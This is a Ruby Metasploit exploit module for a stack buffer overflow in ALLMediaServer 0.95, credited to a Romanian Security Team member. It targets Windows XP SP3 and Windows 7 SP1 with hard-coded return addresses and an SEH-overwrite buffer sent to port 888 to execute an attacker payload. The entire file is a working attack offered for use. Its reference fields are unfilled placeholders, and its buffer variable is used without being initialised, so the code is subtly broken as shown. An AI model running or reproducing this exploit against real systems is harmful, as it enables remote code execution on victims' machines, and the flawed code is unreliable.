require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Seh
def initialize(info = {})
super (update_info(info,
'Name' => 'ALLMediaServer 0.95 Buffer Overflow Exploit' ,
'Description' => %q{
This module exploits a stack buffer overflow in ALLMediaServer 0 . 95 . The vulnerability
is caused due to a boundary error within the handling of HTTP request.
},
'License' => MSF_LICENSE ,
'Author' =>
[
'metacom<metacom27[at]gmail.com>' ,
'<metacom>' ,
'Romanian Security Team - RST' ,
],
'References' =>
[
[ 'OSVDB' , '<insert OSVDB number here>' ],
[ 'CVE' , 'insert CVE number here' ],
[ 'URL' , 'insert another link to the exploit/advisory here' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process' ,
},
'Platform' => 'win' ,
'Payload' =>
{
'BadChars' => "\x00" ,
'DisableNops' => true ,
},
'Targets' =>
[
[ 'ALLMediaServer 0.95 / Windows XP SP3 / Windows 7 SP1' ,
{
'Ret' => 0x0042173c,
'Offset' => 1065
}
],
[ 'ALLMediaServer 0.95 / Windows XP SP3' ,
{
'Ret' => 0x006f0854,
'Offset' => 1065
}
],
],
'Privileged' => false ,
'DisclosureDate' => 'Aug 21 2013' ,
'DefaultTarget' => 0 ))
register_options([Opt:: RPORT ( 888 )], self . class )
end
def exploit
connect
buffer << rand_text(target[ 'Offset' ])
buffer << generate_seh_record(target.ret)
buffer << payload.encoded
print_status( "Sending payload to ALLMediaServer on #{target.name}..." )
sock.put(buffer)
handler
disconnect
end
end
|